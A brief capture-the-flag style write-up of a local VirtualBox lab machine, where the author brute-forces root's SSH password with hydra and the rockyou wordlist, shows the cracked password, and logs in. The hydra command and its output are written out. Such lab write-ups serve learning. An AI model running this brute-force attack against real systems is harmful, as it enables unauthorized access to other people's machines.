Going to http://192.168.56.102 results in a basic html page Dont Overthink. Really, Its simple.
Using gobuster didn’t quite result in any findings

My next idea was to try and do a further scan on more ports, do use another fuzzing tool (who knows?).. I was pretty puzzled, the only obvious thing to do was to use brute forcing for logging into SSH.
So i decided to try hydra
hydra -l root -P /usr/share/wordlists/rockyou.txt.gz 192.168.56.102 ssh
....
[22][ssh] host: 192.168.56.102 login: root password: simple
....
Ok, so it was indeed.. simple..
ssh root@192.168.56.102
gift:~# ls
root.txt user.txt
I’m not going to output the .txt files but.. it was indeed “simple”
It took more time to download and setup the virtualbox environment than everything else.
This should have been something like the bandit exercises from overthewire
